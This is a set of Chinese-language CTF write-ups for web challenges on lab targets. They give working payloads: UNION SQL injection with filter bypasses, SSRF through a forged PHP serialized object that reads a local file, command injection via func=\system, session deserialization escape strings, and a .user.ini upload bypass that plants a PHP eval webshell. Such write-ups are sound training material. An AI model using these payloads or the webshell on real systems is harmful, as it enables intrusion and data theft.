一.进入后,按人家网页,先注册个账号,再进入主页,发现url上有注入点no,而且试一下,是一个非常常规的注入
1.先order by ,可以发现有4列
2.接着 no=-1 union/**/select 1,2,3,4#过滤了(union select)用/**/代替空格 发现回显位为2,而且有反序列函数unserialize()
3.接着爆表名 no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 为users
4.接着爆列名 no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
为no,username,passwd,data
5.接着爆字段 no=-1%20union/**/select%201,group_concat(no,"-",username,"-",passwd,"-",data),3,4%20from%20users 得到1-123-3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2-O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:18;s:4:"blog";s:70:"http://96d41384-2675-4a80-acfa-92d39fcbb471.node4.buuoj.cn:81/join.php";}
二.事先对目录扫描 可直接扫出来robots.txt和flag.php
进入robots.txt,发现user.php.bak 进入后,下载得到
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
其中,下面这部分可能存在ssrf
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
三.在自己的主页界面,查看源代码,可以发现data字段存在漏洞
从上面我们爆出的data
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:18;s:4:"blog";s:70:"http://96d41384-2675-4a80-acfa-92d39fcbb471.node4.buuoj.cn:81/join.php";}
可以知道,这是序列化后的字符串,就是注册时,我们的信息被序列化,回显到页面时,信息又会被反序列化为我们的信息,所以我们可以把data改成flag.php,构成ssrf
修改流中的blog部分,改为s:29:"file:///var/www/html/flag.php"
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
构造playload,1,2,3,4挨个试
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
最后试出来为4,进入页面后可以查看源代码
src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NWJkMTM5Zi1mYzIzLTQwZDQtOGNkZS1jNjljNTViZWYyOWZ9IjsNCmV4aXQoMCk7DQo='>
对这部分中的base64码解密
得到flag
<?php
$flag = "flag{85bd139f-fc23-40d4-8cde-c69c55bef29f}";
exit(0);
1.源码中没找到什么东西,抓包尝试,发现最下面有个函数,和执行内容。可以实验一下,
func=md5&p=123,结果验证成功
2.输入func=system&p=ls,结果失败了,应该是被过滤了
3.输入输入func=\system&p=ls,成功绕过,但没找到flag
4.用查找命令 输入func=\system&p=find / -name flag* 发现/tmp/flagoefiu4r93
5.获取flag 输入func=\system&p=cat /tmp/flagoefiu4r93 得到flag
1.
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
implode() 函数返回一个由数组元素组合成的字符串
preg_replace 函数将敏感字符(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’)替换成 空格
2.
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
extract() 函数将_SESSION的两个函数变为post传参
当以get方法传入img_path的情况下,$_SESSION['img']为传入的img_path进行base64加密和sha1加密
3.
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
当function的值等于show_image的时候 将_SESSION序列化且过滤,将值赋给$serialize_info
,然后将值赋给$userinfo['img']
指向的文件(base64解密后)最后将会高亮userinfo
而且注释给了提示 使url中f=phpinfo 可在新页面中发现flag文件的名字是d0g3_f1ag.php
4.利用键值逃逸
playload
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
flag和php是敏感字符,在使用的时候被过滤掉了,但序列化记录的字符串长度没有过滤掉,所以在序列化的时候
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被当作了原来的value
在 echo file_get_contents(base64_decode($userinfo['img']));实现了读取flag的,目的
实现了逃逸
将/d0g3_fllllllag进行base64编码后上传,可获得 flag
将如下post提交
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";} 得到flag
1.发现抓包找到了参数,查看网页上多个分页面,转换多个参数发现注入点
/query?search=hesperia_planum union select database(),group_concat(schema_name) from information_schema.schemata
查到库名aliens、alien_code
/query?search=hesperia_planum union select database(),group_concat(table_name) from information_schema.tables where table_schema="alien_code"
查到表名code
/query?search=hesperia_planum union select database(),group_concat(column_name) from information_schema.columns where table_name="code"
查到列名id、code
得到flag:flag{f44edbeb-fa11-4d6a-9fc3-a7bc682b311c}
一.
这题依旧不是自己做出来的,难过的是没做出来,值得高兴的是掌握了新姿势
进入页面叫你上传文件,肯定就是文件上传漏洞,所以我就开始逐个试
1. 发现.htaccess文件传不了
2. 含有 <? 的文件传不了
首先先解决第一个问题:
一.如果.htaccess文件传不了以我现有的知识只有两个方法:
1.传输.jpg文件,但是内容只含有一句话木马,可以直接连接菜刀
2.依靠CGI解析漏洞,简单来说就是原来访问1.jpg是图片,但是访问1.jpg/.php就是php文件了
但是现有知识解决不了,于是有一个新的姿势:
那就是.user.ini文件(这也是一种配置文件)
这个文件有什么用呢,就是把你指定的文件当作php执行
二.
<?文件 不能传
试试这样 写一句话木马:
<script language='php'>eval($_REQUEST[8]);</script>
三.
这是.user.ini的文件内容:
GIF89a
auto_prepend_file=shell.jpg(你传入的木马图片的名称)
这是shell.jpg的内容:
GIF89a
<script language='php'>eval($_REQUEST[8]);</script>
四.
分别上传两个文件,最后拿菜刀连接,可得到flag